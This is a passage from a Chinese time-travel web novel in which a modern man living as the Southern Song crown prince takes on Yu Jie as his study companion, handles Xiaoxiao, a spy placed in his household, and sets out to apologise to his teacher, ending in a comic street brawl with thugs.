第四回 余阶的补丁 小小的眼泪
宋宇看着跪在下边的侍卫一阵的感叹,第一次被别人下跪的感觉好奇怪,这心里有点慌,还有点小激动,这可是古代一身戎装的军人啊。尼玛,现在就跪在自己脚下。“:起来吧,别跪着了,有什么事报告吗?”宋宇故作威严的说道。
“:稟太子,门口有一真府小厮求见,被属下等拦住,不过他交给属下一封信,说要转交太子殿下。”侍卫站起身来将信递到宋宇手中。随后站到一旁。
宋宇正要拆信,后边却传来了小小的一声娇喝“:老匹夫还敢来蛊惑太子殿下?给本姑娘将那小厮一顿乱棍打走。”
侍卫竟然“喏”了一声就要出去。
这边宋宇赶紧喊“:停,停,停,这都什么跟什么啊?我这信都没看呢就要动粗?你这侍卫也是的,我这一大老爷们都没说话,你喏个屁啊?”
这一喊登时把俩人喊愣了。只见那个叫程保的侍卫挠了挠头,不好意思的回到了原来的位置一拱手道“:是属下鲁莽了,这阵子听小小姑娘发号施令听惯了,还请殿下责罚。”
站在一旁的小小见宋宇一改往日态度,又见侍卫把责任推到了自己身上,赶忙向宋宇请罪“:殿下,小小一时口快,还请责罚。”
宋宇摆摆手,示意两人不必在意,随即接过信,翻看起来。
小小见宋宇没有要处罚自己的意思,松了口气。心里泛起了嘀咕:殿下前两天对这真德秀的意见可算是大了去了,怎么现在突然变了?难道性格改变,也会改变对真德秀的态度?
那大人的计划岂不是全部被打乱了?想到这,小小压低声音,对着正在看信的宋宇说道“:殿下前两天还对这真德秀气愤异常,怎么今日?”
“:即使再生气,也得先看了信再说吧!”宋宇皱着眉头回答。
“:是奴家鲁莽了,还请殿下责罚。”小小再次告罪。
“:无妨,本殿下不会因为说错话而怪罪一个人。这点还需谨记,毕竟你们二人与本殿下每日相处在一起。若是你们常常因为一点小事,就要告罪,怪麻烦的。”这古人就是这样喜欢道歉。宋宇无奈的心想。
叮嘱完两人,宋宇转头看向手中那封信,信上用十分工整的字体写着太子殿下亲启。落款人写着真德秀三个字。
打开那封信细细端详,就见对方用的是楷书,虽然生僻些,但宋宇还是读懂了。
大意基本就是想要道歉,但信里道歉的话多,为什么道歉却只字未提,可见对方很忌讳这件事。
宋宇把信折好放进了袖兜里。要说这古人的衣服最方便的还是大袖子里的袖兜,装点什么东西既方便又不露痕迹。
将信放好,宋宇思考着这件事:究竟是什么事要让真德秀这位理学大家,向自己的学生也就是这具身体的主人道歉呢?这历史上可没记载。
不过看小小刚才要把送信人赶出去的举动,这事八成和小小脱不了关系。
可若要直接问小小,这姑娘会不会从中作梗,胡编乱造?为了不让事情继续朝着坏的方向发展,看来只能先找送信人询问了。
宋宇揉了揉紧皱的眉头,对那个叫程保的侍卫说道“:真先生的信使可曾走远?”
那侍卫一看太子对真德秀态度有所转换,立马回答“:属下让他在外边候着呢,在得到太子殿下首肯前,属下可不敢擅自决断。”
宋宇看着这位乖巧的侍卫哈哈一乐“:你倒蛮会做人的,让他进来吧,我和小小姑娘换身衣服便去见他。”
“:殿下,这?”小小好像还有话要说。
不过宋宇一拂衣袖冷冷的回了句“:本殿下主意已定,休要多言了。”
硬生生的把小小到嘴边的话给顶了回去。
小小吃了瘪,心里恼怒,却不敢明面上表现出来,看似乖巧的应了声喏。便跟着宋宇向竹楼内走去。
来到二楼,宋宇让小小找来几件自己的贴身衣物,便告知小小去门口等他。
宋代的衣服,宽袍大敞,倒也不算太难穿。不多时宋宇便穿戴整齐,走到了屋内的铜镜前。
仔细打量起铜镜里的自己。只见自己头顶太子冠,五官英朗,面白如涂粉,唇红如抹朱。
配上新换的一袭白衫,颇像西游记里的小白龙变化成人的模样。
看的宋宇不禁暗自欣喜,庆幸自己这回算是赚到了。
没想到穿越还带整容的。就这相貌要是古代有个选帅大赛,咱去参赛都没问题。
就这样宋宇不知自恋的看了多久...直到小小在门外询问,他才回过神来。
出了卧室宋宇和小小一前一后来到前院客厅,看到刚才那个叫程保的侍卫和一个身着灰袍,头戴东坡冠的年轻人已经在等候了。
程保见太子走进客厅,慌忙上前禀报道“:回太子殿下,人已经请进来了。”
被点名的那名年轻人不慌不忙,上前自我介绍道“:草民余阶,奉先生之命前来送信,叨扰殿下之处还请恕罪。”说完毕恭毕敬行了跪拜礼。
宋宇一听来人自称余阶,惊呼出声“:余阶?你是余阶?”
堂下的年轻人见太子如此模样不禁满脸疑问“:草民确是余阶,只是不知殿下为何如此惊讶?”
宋宇转惊为喜慌忙说道“:好,好个余阶,你来的正是时候。你既称呼真德秀为先生,你我便是师出同门,余学弟快快请起。”
余阶被这突如其来的热情搞得丈二和尚摸不到头脑,本来他这次是为了劝劝这位不学无术,只爱美人与古琴的太子,和自己的老师真德秀重归于好。
哪知这太子见了自己竟然如此激动?这太子不会喝酒喝高了吧?这突如其来的变故,显然让余阶有点不知道怎么应对了,起来也不是,跪着吧也不对。只好一拱手答道“:草民何德何能敢让殿下以同窗之礼视之?”干脆接着跪,让太子自己说清楚吧。
宋宇知道自己激动过了头,让对方有些手足无措了,毕竟第一次见面,就表现出故友重逢般的热情,尤其是身份上一个是太子,一个是草民,这任谁都接受不了。
想到这,宋宇强压了压小激动微笑着对余阶说道“:学兄素闻余学弟大才,方才如此激动。学弟勿要多疑,快快请起。”
余阶这才恍然大悟,感情这太子听说过自己,可自己掰指头数数,自从十多年前,因斗殴误伤人命,漂泊在外已然十多年。
这十多年,处处碰壁,走到哪都遭受这些大官人的白眼,还真没干过什么大事。才华更是无从说起了。
也不知这殿下是从哪得到自己消息的,竟然如此激动。不过看他这表情真诚,也不像是做假。
看来余某人今日走了大运了。这样也好,我也可以借此良机化解这对师生的误会。
想到这,余阶拘谨的缓缓站了起来,拂了拂衣袖一拱手说道“:真先生交给殿下的信,殿下可曾看了?”
“:看了。”宋宇很简单回答道。
随即对着余阶上下打量,就见这余阶相貌五官端正,无甚出彩之处。倒是身上灰色长袍上的补丁,还有脚上穿的那双破草鞋,让余阶看起来像极了古时的落魄书生。
“:不知殿下作何想法?”余阶追问道。
宋宇心知这余阶定是来劝架的,有心试试这位南宋末年著名的战术大师。便说道“:不知学弟想要如何说辞?”
余阶看了看周围立着的二人,欲言又止。
宋宇看出了他的想法,便对小小和侍卫程保一挥衣袖“:我与学弟有事要谈,你二人先出去吧。”
小小听太子如此说,心里不由咯噔一下,不过还是假装若无其事般的乖乖退了出去。
少时屋内便只剩下宋宇余阶二人,余阶一拱手继续说道“:多谢殿下,其实草民此次前来并非是为先生做说客,实是为了大义。自古只有学生有错而向先生道歉的,今时却
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见先生向自己的学生道歉,草民深为不齿,更听说太子殿下已经打跑了两拨前来送信之人,阶认为太子殿下做得太过分了。于是挺身而出,来此,想劝殿下莫要做出糊涂事,失了天下人之心。毕竟殿下乃是未来的大宋之主,敢问一位不善待自己老师的人,如何做得这主?”
余阶没有再说下去,而是面色凛然的矗立在原地,颇有点舍生取义的意味。
宋宇看着不卑不亢的余阶,想他一介落魄草民,竟然怒斥自己这个当朝太子。真是拿着鸡蛋碰石头啊。
他就不怕我这石头一生气,碰碎他?想到这,宋宇一拍椅背起身说道“:好,好个余阶。”
宋宇的动作,立马引来了门外的侍卫程保“:殿下,是不是把这人也扔出去?”
余阶听到程保的声音,眼睛一闭:看来运气今天没在我余阶这边。这正是:
竹生千节难穿云,
根基细浅瘦其身。
纵有一日云来顾,
不过雾霭逗弄人。
本以为太子高看自己一眼,现在看来这太子不过是觉得好玩,逗余阶这等落魄之人玩的。
想想也是,人家是太子,真德秀那样的高官显贵都要给人家道歉,求得原谅。自己这名不见经传的市井之徒,又怎会遇到贵人?
余阶闭眼等候发落,宋宇却站起身来,走到余阶跟前,拍了拍余阶瘦弱的肩膀,“;学弟这些年,过得很辛苦吧?”
听到宋宇的辛苦两字,余阶只觉得鼻头一酸,差点落泪,缓缓地睁开眼,就见宋宇微笑着对自己继续说道“:学弟所言竑必将铭记于心,只是还请学弟详言这其中的曲折,也好让学兄知道自己错在了哪里?”
宋宇压根都不知道发生了什么,只能让对方说了。
余阶见宋宇问起事情经过,先是一愣,仔细打量了一下宋宇,见对方一脸茫然的样子“:前些日子的事,临安城已经传的沸沸扬扬,殿下不记得了?”
宋宇并没有解释为什么不知道的原因,只是微微颔首“:学弟但讲无妨。”
看着一副跟没事人似的,还问倒底发生了什么的太子?余阶心想,这是唱的哪出?
但既然对方问起,定然是有原因的,便心一横,眼睛一闭缓缓叙述道“:殿下在数日前曾和先生有过一场对话,当日先生曾劝殿下要亲君子远小人,并曾指出要远离小小姑娘。
岂料,这些话被小小姑娘撞破,对殿下又哭又闹,殿下没办法,只好打发走了先生,此后先生两次派人来请殿下到其府上一叙,结果所派之人,都被殿下一顿乱棍打了出去。先生惶恐,故尔派草民携道歉的书信亲自登门来给太子殿下道歉。”
说完目视宋宇,只等着宋宇回话。
宋宇这才明白事情的前因后果,正要回话,却听到一阵哭闹声传来,接着便见小小哭的梨花带雨的,来到了宋宇身边,抽噎着说道“:殿下明鉴,这厮分明是挑拨你我之间的关系,殿下若不信,奴家愿以死明志。”说完就要向桌脚撞去。
这一幕来的突然,宋宇一时竟不能应付,见她要撞桌角,便赶紧拦住说道:“先,先别闹,我又未曾表态,你急着**干什么?”
这句话还真管用,只见小小立马不闹了,借势小猫似的依偎在了宋宇怀里。
历史人物志:苏小小,历史上并没有留下名字,此女子是当时的权臣史弥远送给太子赵竑做卧底的,而赵竑这个傻太子因为此女子和自己一样的爱好(弹琴),便把此女子视为自己的知音,殊不知自己的一举一动一言一行都被这个女子传到了史弥远耳朵里,直接导致史弥远下决心废掉这位和自己不对付的太子。
历史人物志:余阶,在历史上余阶成名极晚,早年家贫,自己就像个小混混整天混日子,后来与人争斗,失手杀了人,便逃亡在外,直到毛遂自荐做了淮东制置使赵葵的幕僚,才逐渐崭露头角。
第五回 宋宇正家规 定策去请罪
宋宇倒也没有太在意小小这一亲昵的举动。不过这时下边的余阶一脸可惜的撇了宋宇一眼,心想这次恐怕事情不妙了,自古英雄难过美人关,想不到自己在恩师跟前的一番大话,就要变成笑话喽。暗自在心里叹了口气,罢了,听天由命吧。
宋宇见余阶看自己的眼神有些失望,知道余阶八成误会自己了,便将怀里的小小扶好,见她也不再哭闹,便松了手在厅内踱着步想对策。
堂下的余阶开始闭目养神,而小小则一脸委屈的紧紧盯着宋宇,似乎今日宋宇要是不给个说法,是别想干休了。
看这情形宋宇不禁苦笑,本想投石问路,结果来了个打草惊蛇,还是条美女蛇。给你来了个一哭二闹三上吊。想和稀泥看来是不可能了。可若是明着偏袒任何一方,又是要出人命的。
不过仔细一想,这看似混乱的场面,却都有着个人的目的,小小不必说了,定然是要离间我们师生关系,现在哭闹,就是想轰走余阶,要从她那边找突破口,几乎是不可能。
而余阶这样的历史名人又个个都是铜皮铁骨,宁折不弯。若是把他赶出去折辱他,还不如直接杀了他。
罢了,两害相较取其轻,想到这,心中已有打算的宋宇面色一冷,回头对小小说道“:小小姑娘,请问这里是哪里?”
小小被问明显一愣,不过还是回答道“:回殿下,祁国公府。”(这位赵竑太子的府邸并非东宫,而是祁国公府。)
宋宇眉毛一挑“:那敢问姑娘,这祁国公府是谁人最大?谁人做主?”
小小语塞,心想完了,这太子又开始犯混了,扯这些不着调的干嘛?不过还是老实回答道“:当然是殿下了。”
“:那本殿下可掌着这府中所有人的生死?”宋宇严肃的说道。
听到这里小小彻底明白了,心里暗道不妙:感情太子要从自己这边开刀了,看来自己刚才那步棋走错了。
本以为太子还会像以前那样,自己一撒娇,就乱了方寸,妥协似的站在自己一边。哪知?
想到这里小小不禁手心冒汗,算了,再计较下去,容易暴露,万一坏了大人布局...
可步子已经迈出去,收回来太过难堪。小小不得不好生思量如何收场?
那边宋宇也没闲着“:小小姑娘,以后不要再以死相逼了。须知一日夫妻百日恩,你我共同度过了不知多少日夜,竑对你可是百般呵护,你对竑也是真心实意,你我夫妻一场,你若身死,竑会很伤心的。”说完,抬起受伤的右手,上面还有小小的绣帕。
小小得了台阶,赶忙接口“:小小知错了,还请殿下勿怪。”
宋宇见终于将这姑娘安抚,心里松了一口气“:你退下吧。这件事本太子自有计较。”
小小得了宋宇吩咐,自觉地向着屋外走去,临出门口,屋内的宋宇扭头喊来一句话“:小小姑娘,告诉府内众人,以后本太子会客,请勿打扰。以免让外人笑话我祁国公府没有礼数。”小小的柳眉抖了抖,掩门而去。
宋宇这边不失时宜恩威并施,解决了小小。那边余阶也睁开了眼。宋宇笑了笑“:家丑,让学弟见笑了。”
余阶擦了擦额头的汗水,心有余悸:家丑?您的家丑能要了我的命....
“:自古英雄难过美人关,草民恭喜殿下脱胎换骨。”
宋宇虽然觉得这话不怎么对味,不过还是笑纳了。上前拉着余阶的手说道“:偶像,让我好好看看你。”
其实不能怪宋宇这么喜欢余阶,要知道,宋宇这人穿越之前最爱看历史人物传记。
而南宋末年那些被许多人都忽略的英雄人物,宋宇尤其喜爱。这些人里最特殊的偏爱,就是余阶。
余阶虽未说过那些当提三尺剑立不世之功的话,可却用自己的所作所为,证明了自己是个真英雄。
余阶的一生可以用一首诗概括:
半世飘零终得用,
只为立业与建功。
戍蜀八载川得治,
血战兴元与嘉定。
三十六战破敌胆,
复土北伐解甲梦。
谁知理宗信奸言,
壮士泣血叹苍穹。
宋宇那灼热的目光,顿时把余阶看害臊了,说实话,余阶自认为还算阅人无数,什么场面没见过?
可今天这太子的所作所为,着实令余阶小刀拉屁股,开了眼了。瞅着哈喇子都快流下来的太子,色迷迷的看了自己好久。余阶终于忍不住咳嗽了一声“:殿下?”
“:啊!”听到余阶喊自己,宋宇擦了擦嘴角的哈喇子,收起了猥琐的表情“:啊,哈,失态了,看到余学弟太高兴了。还请见谅。”
余阶此时一脸的黑线,心想:这太子不会连男人都喜欢吧?以前读史书,记得战国时期有个龙阳君,跟魏王就是那种关系,后来男男之间的那点事,都统称龙阳之好了。
想到这里,余阶不由浑身汗**倒竖,冷汗直流。一脸看怪物似的表情看向宋宇:不会这么巧让余某碰上吧?没看错的话,刚才殿下好像流哈喇子了。我说怎么方才的美女和我,殿下选择了站在我这边?感情殿下是看上了余某的姿色...
宋宇见余阶眼神很复杂,咂巴砸吧嘴“;余学弟,有什么心事吗?”
余阶一脸谨慎的试探道“:殿下觉得余阶相貌尚可?”
说着,余阶还用手紧了紧脖领,好像生怕自己被宋宇给看光了...
宋宇眉头皱成了川字:看余阶的表情动作,宋宇也能猜到余阶八成把自己想象成同性恋了。不由心里纳闷,古代的英雄人物,脑回路都这么不着调吗?难道自己一个太子,表现出对同性的喜爱,就那么容易让对方误会吗?
想到这,宋宇拍了拍一脸小心谨慎的余阶肩膀,就觉的余阶浑身一个激灵“:余学弟,竑只喜欢女人。”
话刚说出口,又觉得怪怪的,继续补充道“:对男人只有友情。”
听了太子的解释,又见太子并没有下一步动作,余阶这才长出一口气:吓!余某今日清白算是保住了....
“:殿下接下来您要?”
见余阶回归正题,宋宇正色说道“:劳烦余学弟为了本殿下的事奔波,只是不知余学弟现在在哪里高就?”
余阶刚放松的表情,再次拧巴,立马蔫下来。支支吾吾好久没有回话。
宋宇见他如此表情,暗自欣喜,不过还是十分关心的说道“:我这国公府缺个伴读,不知余学弟可否赏脸?”
余阶本来耸拉的脑袋转而开心的扬起,慌忙跪下谢道“:承蒙太子殿下看得起草民,草民焉敢推辞?”
宋宇慌忙将他扶起,说道“:只是个小小伴读,何必如此高兴?学弟大才,他日定然鹏程**。到时候再谢我不迟。”
哪知不劝还好,这一劝余阶还来劲儿了,只见被宋宇搀扶的余阶竟然开始浑身激动的颤抖,待抬起头来时已是两行浊泪“:殿下太看的起阶了,想我余阶漂泊十数年,处处遭人冷眼,并未做过什么惊天动地的大事,也不知殿下从哪里得来的消息,实是谬赞草民了。”
宋宇心里清楚余阶的遭遇,叹了口气摇头说道“:学弟,本殿下别的不行,可看人向来很准,记住,是金子总会发光的。”
余阶擦干了眼泪,说道“:士为知己者死,殿下今日之言,阶谨记于心,且看阶日后表现。”
宋宇不失事宜的再次拍了拍余阶那瘦的皮包骨的肩膀“:这就是了,顶天立的的汉子,哭个什么劲儿?你可是我的偶像。”
“;只是殿下,何谓偶像?”余阶见宋宇老提这俩字,疑惑的问道。
这一问顿时把宋宇问住了,是呀,什么是偶像呢?妈蛋,我说这个词干嘛“:这个...就是知己,知音。都行。”
余阶眨吧眨巴眼,似懂非懂的说道“:那殿下也是余阶的偶像...”
看他这么说宋宇顿时一头黑线,实在不想再纠结这个问题,便转移话题道“:这两日我数次赶走先生府上之人,已然铸成大错,学弟之言,如雷贯耳,自古只有先生打骂学生,哪有学生忤逆先生之礼?竑打
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算负荆请罪,以求得先生谅解。”说完不禁满脸愧色的看着余阶。
余阶赶紧抱拳劝道“:殿下能有如此想法,实在是难得,正所谓亡羊补牢,为时不晚。他日若登基为帝定然是一代明君。不过...”
见他欲言又止,宋宇反问道“:不过什么?”
余阶郑重的说道“:不过负荆就不必了,殿下可拿上先生惩罚学生的戒尺,前去登门请罪。此事一出,定然会成为临安城的一段佳话。”
宋宇点头道“;好,便依学弟之言。事不宜迟,你我二人现在就去先生府上请罪。”
说完宋宇对门外喊了声“:来人啊。”
一直候在门外的小小与侍卫程保闻声而入,走到宋宇跟前等待指示。
宋宇看了看小小,见这姑娘脸色很平静,知道她是个聪明人。明白何时该收敛“:把你们两人喊进来,是有两件事要吩咐,第一件事,面前这位余阶,余学弟,从今天起,就是本殿下的伴读了。你们以后要和余学弟和睦相处。对了,因为要读书,以后本殿下就搬到前院来住,毕竟这里距离书房更近。”
小小刚听到余阶要做伴读,就有些心里不悦,现在殿下又说要从竹楼中搬出去,忙一脸恳求似的问道“:殿下,那小小和您一块搬到前院?”
宋宇笑了笑,温柔的抚摸了下小小的秀发“:小小姑娘,两情若是长久时,又岂在朝朝暮暮?眼下天下纷扰,万民不得生息,本殿下若是不努力读书,以待将来。你我的缘分,怕是走不远了。”
小小自打来到这太子身边,第一次从太子身上感受到了一身的正气。更是第一次从太子口里听到了万民和生息这两个极为特殊的词汇。一时竟被折服,愣在了原地。
宋宇见小小没有再出声阻挠,继续一脸微笑的说道“:小小姑娘,还请您帮竑收拾出一间卧房,哦对了,也帮余学弟在竑的卧房旁边再收拾出一间。”
小小忙应道“:奴婢领命。”
宋宇继续吩咐道“:至于第二件事,还请小小姑娘在府中找把戒尺,还有,那个侍卫叫什么来着?”
“:小人程保。”侍卫赶紧回答道。
“:嗯,程保,你再找一个侍卫,换上便装,随本殿下一同出府。”
“:只找一个是不是太少了?”程保反问道。
“:没事本太子相信你,看你五大三粗的,谁敢在你面前放肆?”宋宇笑着说道。
程保还想说,可一听到宋宇夸自己五大三粗,顿时耸了耸肩,心想殿下说的,也是啊...
随即屁颠屁颠的准备去了。留下小小却并未出去,宋宇疑惑的问道“:小小姑娘还有事?”
小小温婉的回道“;殿下既然要出去,需不需要备车?”态度像极了一个帮郎君分担家务的小媳妇。
宋宇想了想说道“:不必了,本殿下这次为了表示诚意,还是步行前去的好。你去准备吧。”
小小应声而退。不多时便找来了戒尺,而程保也换了一身墨绿色的武者装,领着一个长相憨憨的汉子走了进来。两人一同走到宋宇跟前跪下说道“:殿下,人给你找来了。”
“:殿下,小人名叫赵国。”
宋宇打量着面前这个比程保还要魁梧的汉子,满意的点了点头,随即从椅子上站起身说道“:这次出府,本殿下是要到先生府上负荆请罪,所以步行前去,这随从吗,就你们俩和余学弟了,至于别人都留在府中吧。”
历史人物志:余阶,中年得志,一腔热血都洒在了四川对蒙战线上,可谓功勋赫赫,打得蒙古龟缩于几个小据点不敢出来。但就是这样一位英雄,最后却被昏庸的朝廷,活活气死。只是因为打压了几个地方豪强。被打压的豪强勾结当时的宰相谢方叔等对当时的皇帝理宗进谗,理宗竟然一拍即合罢免了余阶。什么时候皇帝会这么爽快?那就是他也这么想的时候。史载被罢免的余阶一气之下吐血不止而亡。永远离开了这片他所深爱的国土:
死去元知万事空,
但悲不见九州同。
第六回 临安城御街 小胡同混战
程保两人赶紧应“喏”,
可一边的小小却开口说话了“:殿下,奴家也想去给老先生请罪,毕竟这件事因奴家而起,还请殿下恩准。”
宋宇一听小小也要去,心里暗道:这间谍,绝对是专业的。见风使舵,那叫一个及时。
“:哦?想通啦?”宋宇满脸坏笑的问道。
“:奴家知错了,是奴家太任性。坏了殿下名声。”小小跪下满脸诚恳的说道。
好卧底啊,宋宇在心中赞叹。这种人才真不知道史弥远从哪找的。俗话说的好,心怀大奸之人,必以大忠示人。
这丫头年纪虽小,但是深谙此道啊,想到此,宋宇打算答应她,对于这些卧底,与其让他偷偷摸摸监视你,不如放身边光明正大的监视。
只要不像先前那样一哭二闹三上吊的瞎折腾,其他都好说。毕竟真撕破脸,大家谁都不好过。
收拾停当,一行人出了会客厅,向府门外走去。本来宋宇以为那竹楼是自己的住处,等到彻底走了一遍这座府邸后才发现,这祁国公府着实不小。
那花园的竹楼原来是所谓“金屋藏娇”里的“金屋”,也就是那个胡闹太子为了博得小小欢心,专门给人家盖的。
出了竹楼是花园,花园再向外便是后院,是府内各勤杂人员的住处,过了后院的前院才是府内会客,以及太子的住处。
看到这里,宋宇才明白,原来那座竹楼,就是一个玩乐的地方,干正事还得是前院。想到此处,宋宇不禁羡慕,怪不得古代书生为了金榜题名呕心沥血的夜读,争当王侯将相呢?
临安,可不是南宋的京师,南宋的京师依然是被金人占据的汴梁,这南宋称临安为行在,用通俗的话讲,就是南宋皇室暂时住在这,迟早是要回汴京的。
可终南宋一世130余年,也没能再回到故都。如果从空中俯瞰,这临安是个不规则的长方形,中间一条御街横贯南北,两侧皆是店铺与手工作坊。
达官贵人多住于城北御街旁,或隐于御街店铺之后。祁国公府紧靠皇城,换成位置偏南,所以想要去负荆请罪,众人得沿着御街一路向北。
这一路上,看惯了现代建筑的宋宇,惊得下巴都要掉下来了,这御街上,光是古色古香的二三层小楼就不可计数,沿街摆摊的,叫卖的,更是热闹非凡。而于路的商旅熙熙攘攘,不可胜数,其中还不乏各种肤色的外国人。临安的繁华,可见一斑。
正应了辛弃疾那首诗:
宝马雕车香满路。
凤箫声动,玉壶光转。
一夜鱼龙舞。
娥儿雪柳黄金缕,
笑语盈盈暗香去。
小小这一路走来也被街市繁华吸引,只见她穿着白色丝绸裙,像一只快乐的小鸟,好奇的在这街市之上,蹦来跳去的买东西。
程保赵国则紧跟在小小身后帮她拿东西。三人忙得是不亦乐乎。
看到这一幕,宋宇无奈的摇了摇头,看来那个胡闹太子这阵子真的把小丫头憋坏了。沿路的首饰,布匹,还有服装店,让这丫头挨个光顾了个遍。
宋宇不时回头看看被各种包裹压得满头大汗的程保俩人,心里一阵发寒。看来这女人的天性,就是要逛街的...还好自己是太子。不然...
在宋宇等人的再三劝说强调下,小小这丫头才一脸诚恳的点头表示不会再买了。
可宋宇看着那不可胜数的包裹,程保俩人实在拿不了了,干脆让他俩买了路边一个货郎的小推车推着,也能减轻一下负担不是...
就这样一行人好不容易走出了熙熙攘攘的人流,来到了一条小路上,与刚才热闹的御街相比,这里简直是两个世界。
本来好不容易挤出人流的宋宇等人,以为能喘口气了,可走了没多远,小小忽然开口提醒“:殿下,咱们先回去一下吧,奴家刚才好像买了东西忘了拿。”
宋宇一听她这么说,眉毛不禁抖了抖,没好气的说道“:忘了就别要了,回去的时候再从新买。”
可刚说到这里,忽然听到前边隐约传来了弱弱的呼救声“:来人呐!救命!”
宋宇心里一紧,有人呼救?忙回头望着众人说道“:前面好像有人在喊救命呢。”
众人竖起耳朵听了听,余阶率先开口“:还真是,殿下,要不要去看看?”
可一旁的小小却冷冷说道“:光天化日的,哪来的救命声?要去你去,本姑娘可不去,本姑娘还得回去拿东西呢。”
宋宇看着各执一词的两个人无奈的笑了笑:“:既然被本殿下听到了就得去看看。”
说完也不理会众人,循着声音向前走去。
待走过几条小胡同之后,声音越来越清晰,只听见一个粗重的男声说道“:喊喊喊!喊破喉咙也没人会来救你,别说你喊不来人,就算你喊来了,这临安城里敢管本少爷闲事的,恐怕还没生出来呢。再说,本少爷等小美人你从这路过,可不是一日两日了,今日本少爷便在这里把你就地正法了,看你那固执的老子,能把本少爷怎么样,嘿嘿嘿!”说完传出一阵淫笑声。
紧接着一阵满是怒气的女子之声随后传来“;你这个畜生,你就不把杨皇后放在眼里吗?”
听到这里宋宇浑身一颤,杨皇后?有人敢调戏皇后?事不宜迟,宋宇三步并作两步冲到了声音传出的胡同口,一手叉腰,一手指着胡同里的流氓说道“:呔,放开那皇后!”
可这话刚说出口就后悔了,只见这胡同是条死胡同,三面皆是矮墙,连个门都没有,里面黑压压的十几个壮汉,将两个弱女子堵在了墙根,见有人说话,唰唰唰的将目光全都锁定在了宋宇身上。宋宇这心里悔啊,让你耍帅吧,这回一顿胖揍是免不了了...
穿越前就因为多管闲事,惹来解决不掉的麻烦,最后三天两头被不良少年收拾,直到被迫转学。穿越后,本以为是太子,路见不平拔刀相助,应该吃不了亏吧?
结果对面十几个,自己带来的那俩人,让对面塞牙缝估计都不够。
但这些流氓并没有迅速冲过来,反而是让开了一条道,从人堆里走出来一个不到1米6的小胖子,长得矮吧也就算了,还一脸的麻子。
就这模样,要是有个选丑比赛,这货肯定是冠军。只见这小胖子嘴角上扬,一副谁也不服的样子,走出了人群,看了看站在胡同口的宋宇就一个人,不禁哈哈大笑“;本少爷当是哪路神仙呢,原来就是一个疯子。”
说完冲着身后的壮汉怒了努嘴“:照死里打”。
说时迟那时快,身后的余阶和程保赵国俩人也推着车赶来了,三人眼见胡同里涌出来一群壮汉,冲着太子而去,顿时大惊失色。
也顾不得那许多了,扔了小推车冲着那群壮汉打将过去。由于出门之前和程保赵国俩人说了穿便装,所以俩人也没带刀,而余阶文人打扮,更不可能带武器了。
三人就这样赤手空拳的和十来个流氓打在了一起。本来宋宇撸袖子就要冲上前去帮忙,可随后便发现程保赵国这三人似乎都是练家子,赤手空拳和十来个壮汉打,竟然没没有一个漏网之鱼冲到自己身边。
就这样,宋宇索性在一边饶有兴致的看了起来...
看着看着,宋宇心里暗道:今天真是开了眼了,原来这武功并非花架子,倒没后世那么夸张,一骑当千什么的。但以一敌十还是有可能的。
就像现在,这三人中的程保,赵国拳脚姿势颇为相似,应该是一个师傅教的,怪不得自己让程保喊人,他喊来了赵国。看来这俩人还颇有渊源。
但他俩这路功夫,明显没练到家,姿势十分笨拙,身上已经被对方踢出了不少脚印。
反观余阶那边倒是轻松了许多,余阶并未动用双手,一直潇洒的背着手,用双腿踹来踢去。
不过就是这腿法,对方三五个大汉却不能近身,对方拿刀来砍,余阶只是身体一闪,右脚一踢那刀便被他踢出去老远。
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没多久围着他的那几个大汉便都被卸了兵器,只能赤手空拳的挨踹。看到这里宋宇不禁暗暗叫好,没想到这余阶瘦瘦弱弱的一副书生模样,却深藏不漏。怪不得人家投军后,能从小兵做到一方统帅,显然是有真本领傍身。真是不能小看了这些古代的名人啊。
可是等宋宇转过脸来再看程保他俩时,不禁无奈的摇了摇头,程保还好点,此时夺了对方混混手中一把朴刀,呀呀呀杀猪似的边喊叫边胡乱挥舞。
周围几个混混也不知是被程保的喊叫声震慑到了,还是害怕程保手里那把胡乱挥舞的朴刀伤到自己,愣是没人敢上前一步。
不过看得出来程保是在硬撑,脑门上豆大的汗珠子不停顺着脸颊流淌,显然到了力竭的档口,落败是早晚之事。
赵国更别提了,此时已经被打翻在地,五个壮汉正围着他爆踩,他现在躺在地上只有招架之力,想起身再战已经是不可能了。
看到赵国倒地,宋宇这心里有点慌了,赵国可是拖住了五个壮汉,他要是落败,这五个壮汉下一个对手就是自己。
可要是自己冲上去救赵国吧?估计也是盘菜,地上再多个人的事...
要说这不会武功的人,一到性命相关的时候,都会想到找件武器防身,宋宇也不例外,可翻遍了身上,除了点散碎银子,就是身后背的那把戒尺了。
那东西打手心还行,**实在不靠谱。无奈之下,宋宇开始扫视周身附近,想在路边找块石头或者木棍什么的,给自己壮胆。
不过石头没找到,倒是找到块大青砖,也不知道这宋朝的烧砖师傅手艺怎么样,结实不结实,不过光看这块转的个头,就比后世的板砖大了两倍有余。
宋宇不动声色的摸过去,一只手将砖拿在手里掂了掂,还挺沉。索性便抱在了怀中,开始在人群里寻找那些个长的寒碜的,欠拍的目标。
找来找去,发现对面那群壮汉一个个都跟健美教练似的,露着黝黑的小肌肉,估计哪个都不好惹。
正垂头丧气的时候,忽然想起刚才那个小胖子来,暗自奇怪这小子哪去了?找来找去才发现,原来这货被混战的人群挡在了后面,只见这货一脸的坏笑,双手抱胸,斜着个脑袋,很悠闲的看着这群人混战。还不时地指指点点,让往死里打。
宋宇在心里骂道:孙子,在这呢,胆还挺肥,身边一个人都没留,看本太子偷偷摸过去,给你开了瓢。嘿嘿!
想到此,宋宇便和这混战的人群保持着一定的距离,不动声色地,从麻子脸的视野盲区向他摸去,等到离那货约摸不到二十米的时候,宋宇突然一个加速,双手举着板砖,呀呀呀的怪叫着冲了上去...
事后据当事人宋宇描述,自己是很有风度的,丝毫没有发出任何声音的冲了过去。
据被救的两位女子描述,太子殿下当时叫了,叫的好大声呢...
据被害人描述,当时宋宇不但怪叫了,还空出来一只手,擦了擦鼻涕...
这些人里,余阶证词比较符合事实。他声称殿下根本没怪叫,并且以自己的前途做担保。
